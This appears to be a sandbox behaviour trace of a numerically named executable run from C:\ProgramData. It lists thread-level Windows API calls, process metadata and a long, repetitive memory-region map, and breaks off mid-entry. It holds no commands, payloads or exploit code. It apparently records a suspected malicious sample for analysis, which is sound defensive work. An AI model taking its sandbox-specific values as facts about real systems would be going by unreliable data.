[0073.449] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xe8
[0073.449] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
[0073.518] SetEvent (hEvent=0xec) returned 1
[0073.518] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
[0073.762] VirtualAlloc (lpAddress=0xc000100000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000100000
[0073.762] VirtualAlloc (lpAddress=0xc000102000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000102000
[0073.762] VirtualAlloc (lpAddress=0xc000104000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000104000
[0073.762] malloc (_Size=0x18) returned 0x25dd56a16f0
[0073.762] _beginthread (_StartAddress=0x182a890, _StackSize=0x0, _ArgList=0x25dd56a16f0) returned 0xf4
[0073.763] SetEvent (hEvent=0xec) returned 1
[0073.763] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff)
Thread:
id = 133
os_tid = 0x13d4
[0073.853] free (_Block=0x25dd56a16f0)
[0073.853] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17cdffd80, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17cdffd80*=0xf8) returned 1
[0073.853] VirtualQuery (in: lpAddress=0xd17cdffda0, lpBuffer=0xd17cdffda0, dwLength=0x30 | out: lpBuffer=0xd17cdffda0*(BaseAddress=0xd17cdff000, AllocationBase=0xd17cc00000, AllocationProtect=0x4, __alignment1=0xfffff800, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xfffff6d2)) returned 0x30
[0073.853] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xfc
[0073.853] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x100
[0073.853] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
[0074.547] SetEvent (hEvent=0xec) returned 1
[0074.547] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
[0075.500] SetEvent (hEvent=0xec) returned 1
[0075.500] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
[0076.608] SetEvent (hEvent=0xec) returned 1
[0076.733] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
[0077.509] SetEvent (hEvent=0xec) returned 1
[0077.509] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
[0079.268] SetEvent (hEvent=0xec) returned 1
[0079.268] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
[0079.717] SetEvent (hEvent=0xec) returned 1
[0079.717] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
[0080.092] SetEvent (hEvent=0xec) returned 1
[0080.092] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
[0080.976] SetEvent (hEvent=0xec) returned 1
[0080.976] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
[0081.482] SetEvent (hEvent=0xec) returned 1
[0081.482] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
[0082.164] SetEvent (hEvent=0xec) returned 1
[0082.164] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
[0082.502] SetEvent (hEvent=0xec) returned 1
[0082.502] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
[0082.948] SetEvent (hEvent=0xec) returned 1
[0082.948] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
[0083.449] SetEvent (hEvent=0xec) returned 1
[0083.449] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
[0083.768] SetEvent (hEvent=0xec) returned 1
[0083.768] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
[0084.251] SetEvent (hEvent=0xec) returned 1
[0084.251] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
[0084.796] SetEvent (hEvent=0xec) returned 1
[0084.796] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
[0085.881] SwitchToThread () returned 1
[0085.915] SetEvent (hEvent=0xdc) returned 1
[0085.915] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
[0131.978] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff) returned 0x0
[0132.024] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0xffffffff)
Thread:
id = 134
os_tid = 0x13d8
[0074.428] free (_Block=0x25dd56a16f0)
[0074.428] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17cfffa00, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17cfffa00*=0x10c) returned 1
[0074.428] VirtualQuery (in: lpAddress=0xd17cfffa20, lpBuffer=0xd17cfffa20, dwLength=0x30 | out: lpBuffer=0xd17cfffa20*(BaseAddress=0xd17cfff000, AllocationBase=0xd17ce00000, AllocationProtect=0x4, __alignment1=0xfffff800, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0xfffff6d2)) returned 0x30
[0074.428] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x110
[0074.428] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x114
[0074.428] WaitForSingleObject (hHandle=0x110, dwMilliseconds=0xffffffff)
Process:
id = "6"
image_name = "35705580001859887656.exe"
filename = "c:\\programdata\\35705580001859887656.exe"
page_root = "0x4ac81000"
os_pid = "0x139c"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "1"
os_parent_pid = "0x12ec"
cmd_line = "\"C:\\ProgramData\\35705580001859887656.exe\" "
cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\"
os_username = "XC64ZB\\RDhJ0CNFevzX"
bitness = "32"
os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f9b9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 1041
start_va = 0x10000
end_va = 0x2ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000010000"
filename = ""
Region:
id = 1042
start_va = 0x30000
end_va = 0x44fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000030000"
filename = ""
Region:
id = 1043
start_va = 0x50000
end_va = 0x8ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000050000"
filename = ""
Region:
id = 1044
start_va = 0x90000
end_va = 0xbc9fff
monitored = 1
entry_point = 0x55ac64
region_type = mapped_file
name = "35705580001859887656.exe"
filename = "\\ProgramData\\35705580001859887656.exe" (normalized: "c:\\programdata\\35705580001859887656.exe")
Region:
id = 1045
start_va = 0xbd0000
end_va = 0xbd1fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000bd0000"
filename = ""
Region:
id = 1046
start_va = 0xbe0000
end_va = 0xbe3fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000be0000"
filename = ""
Region:
id = 1047
start_va = 0xbf0000
end_va = 0xbf0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000bf0000"
filename = ""
Region:
id = 1048
start_va = 0xc00000
end_va = 0xdfffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000c00000"
filename = ""
Region:
id = 1049
start_va = 0xe00000
end_va = 0xefffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000e00000"
filename = ""
Region:
id = 1050
start_va = 0xf00000
end_va = 0xf01fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000f00000"
filename = ""
Region:
id = 1051
start_va = 0x76ed0000
end_va = 0x7704afff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")
Region:
id = 1052
start_va = 0x7f040000
end_va = 0x7f062fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007f040000"
filename = ""
Region:
id = 1053
start_va = 0x7ffe0000
end_va = 0x7ffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 1054
start_va = 0x7fff0000
end_va = 0x7ffc71c9ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007fff0000"
filename = ""
Region:
id = 1055
start_va = 0x7ffc71ca0000
end_va = 0x7ffc71e60fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 1056
start_va = 0x7ffc71e61000
end_va = 0x7ffffffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00007ffc71e61000"
filename = ""
Region:
id = 1057
start_va = 0xf10000
end_va = 0xf4ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000f10000"
filename = ""
Region:
id = 1058
start_va = 0x59f40000
end_va = 0x59f8ffff
monitored = 0
entry_point = 0x59f58180
region_type = mapped_file
name = "wow64.dll"
filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")
Region:
id = 1059
start_va = 0x59fa0000
end_va = 0x5a019fff
monitored = 0
entry_point = 0x59fb3290
region_type = mapped_file
name = "wow64win.dll"
filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")
Region:
id = 1060
start_va = 0x76840000
end_va = 0x7691ffff
monitored = 0
entry_point = 0x76853980
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")
Region:
id = 1061
start_va = 0x59f90000
end_va = 0x59f97fff
monitored = 0
entry_point = 0x59f917c0
region_type = mapped_file
name = "wow64cpu.dll"
filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")
Region:
id = 1062
start_va = 0xf50000
end_va = 0x10dffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000f50000"
filename = ""
Region:
id = 1063
start_va = 0x76840000
end_va = 0x7691ffff
monitored = 0
entry_point = 0x76853980
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")
Region:
id = 1064
start_va = 0x76920000
end_va = 0x76a9dfff
monitored = 0
entry_point = 0x769d1b90
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")
Region:
id = 1065
start_va = 0x10000
end_va = 0x1ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 1066
start_va = 0x7ef40000
end_va = 0x7f03ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007ef40000"
filename = ""
Region:
id = 1067
start_va = 0x10e0000
end_va = 0x119dfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 1068
start_va = 0x73b50000
end_va = 0x73be1fff
monitored = 0
entry_point = 0x73b90380
region_type = mapped_file
name = "apphelp.dll"
filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll")
Region:
id = 1069
start_va = 0x7eb90000
end_va = 0x7ef30fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sysmain.sdb"
filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb")
Region:
id = 1070
start_va = 0xbd0000
end_va = 0xbd3fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000bd0000"
filename = ""
Region:
id = 1071
start_va = 0x73f00000
end_va = 0x74046fff
monitored = 0
entry_point = 0x73f11cf0
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")
Region:
id = 1072
start_va = 0x76ab0000
end_va = 0x76bfefff
monitored = 0
entry_point = 0x76b66820
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")
Region:
id = 1073
start_va = 0xf50000
end_va = 0xf8ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000f50000"
filename = ""
Region:
id = 1074
start_va = 0xfe0000
end_va = 0x10dffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000fe0000"
filename = ""
Region:
id = 1075
start_va = 0x11a0000
end_va = 0x129ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000011a0000"
filename = ""
Region:
id = 1076
start_va = 0x76df0000
end_va = 0x76e6afff
monitored = 0
entry_point = 0x76e0e970
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")
Region:
id = 1077
start_va = 0x74910000
end_va = 0x749cdfff
monitored = 0
entry_point = 0x74945630
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")
Region:
id = 1078
start_va = 0x749e0000
end_va = 0x74a23fff
monitored = 0
entry_point = 0x749f9d80
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")
Region:
id = 1079
start_va = 0x745d0000
end_va = 0x7467cfff
monitored = 0
entry_point = 0x745e4f00
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")
Region:
id = 1080
start_va = 0x73c00000
end_va = 0x73c1dfff
monitored = 0
entry_point = 0x73c0b640
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")
Region:
id = 1081
start_va = 0x73bf0000
end_va = 0x73bf9fff
monitored = 0
entry_point = 0x73bf2a00
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")
Region:
id = 1082
start_va = 0x76e70000
end_va = 0x76ec7fff
monitored = 0
entry_point = 0x76eb25c0
region_type = mapped_file
name = "bcryptprimitives.dll"
filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll")
Region:
id = 1083
start_va = 0x74d70000
end_va = 0x7616efff
monitored = 0
entry_point = 0x74f2b990
region_type = mapped_file
name = "shell32.dll"
filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")
Region:
id = 1084
start_va = 0x76db0000
end_va = 0x76de6fff
monitored = 0
entry_point = 0x76db3b50
region_type = mapped_file
name = "cfgmgr32.dll"
filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll")
Region:
id = 1085
start_va = 0x762f0000
end_va = 0x767e8fff
monitored = 0
entry_point = 0x764f7610
region_type = mapped_file
name = "windows.storage.dll"
filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll")
Region:
id = 1086
start_va = 0x74680000
end_va = 0x7483cfff
monitored = 0
entry_point = 0x74762a10
region_type = mapped_file
name = "combase.dll"
filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll")
Region:
id = 1087
start_va = 0x748c0000
end_va = 0x74904fff
monitored = 0
entry_point = 0x748dde90
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")
Region:
id = 1088
start_va = 0x748a0000
end_va = 0x748abfff
monitored = 0
entry_point = 0x748a3930
region_type = mapped_file
name = "kernel.appcore.dll"
filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll")
Region:
id = 1089
start_va = 0x76c00000
end_va = 0x76c8cfff
monitored = 0
entry_point = 0x76c49b90
region_type = mapped_file
name = "shcore.dll"
filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll")
Region:
id = 1090
start_va = 0x767f0000
end_va = 0x76833fff
monitored = 0
entry_point = 0x767f7410
region_type = mapped_file
name = "powrprof.dll"
filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll")
Region:
id = 1091
start_va = 0x749d0000
end_va = 0x749defff
monitored = 0
entry_point = 0x749d2e40
region_type = mapped_file
name = "profapi.dll"
filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll")
Region:
id = 1092
start_va = 0x71290000
end_va = 0x7149cfff
monitored = 0
entry_point = 0x7137acb0
region_type = mapped_file
name = "wininet.dll"
filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll")
Region:
id = 1093
start_va = 0xf10000
end_va = 0xf39fff
monitored = 0
entry_point = 0xf15680
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")
Region:
id = 1094
start_va = 0xf40000
end_va = 0xf4ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000f40000"
filename = ""
Region:
id = 1095
start_va = 0x12a0000
end_va = 0x1427fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000012a0000"
filename = ""
Region:
id = 1096
start_va = 0x76170000
end_va = 0x7619afff
monitored = 0
entry_point = 0x76175680
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")
Region:
id = 1097
start_va = 0x20000
end_va = 0x20fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000020000"
filename = ""
Region:
id = 1098
start_va = 0xf10000
end_va = 0xf10fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000f10000"
filename = ""
Region:
id = 1099
start_va = 0x1430000
end_va = 0x15b0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001430000"
filename = ""
Region:
id = 1100
start_va = 0x15c0000
end_va = 0x29bffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000015c0000"
filename = ""
Region:
id = 1101
start_va = 0x29c0000
end_va = 0x2a4ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000029c0000"
filename = ""
Region:
id = 1133
start_va = 0x2a50000
end_va = 0x2b4ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002a50000"
filename = ""
Region:
id = 1137
start_va = 0x2b50000
end_va = 0x3287fff
monitored = 1
entry_point = 0x301ac64
region_type = mapped_file
name = "35705580001859887656.exe"
filename = "\\ProgramData\\35705580001859887656.exe" (normalized: "c:\\programdata\\35705580001859887656.exe")
Region:
id = 1248
start_va = 0xf20000
end_va = 0xf3ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000f20000"
filename = ""
Region:
id = 1249
start_va = 0xf20000
end_va = 0xf2ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000f20000"
filename = ""
Region:
id = 1250
start_va = 0xf30000
end_va = 0xf3ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000f30000"
filename = ""
Region:
id = 1251
start_va = 0xf90000
end_va = 0xfadfff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000f90000"
filename = ""
Region:
id = 1252
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1253
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1254
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1255
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1256
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1257
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1258
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1259
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1260
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1261
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1262
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1263
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1264
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1265
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1266
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1267
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1268
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1280
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1281
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1282
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1283
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1284
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1285
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1286
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1287
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1288
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1289
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1290
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1291
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1292
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1293
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1294
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1295
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1296
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1297
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1298
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1299
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1300
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1301
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1302
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1303
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1304
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1305
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1306
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1307
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1308
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1309
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1310
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1311
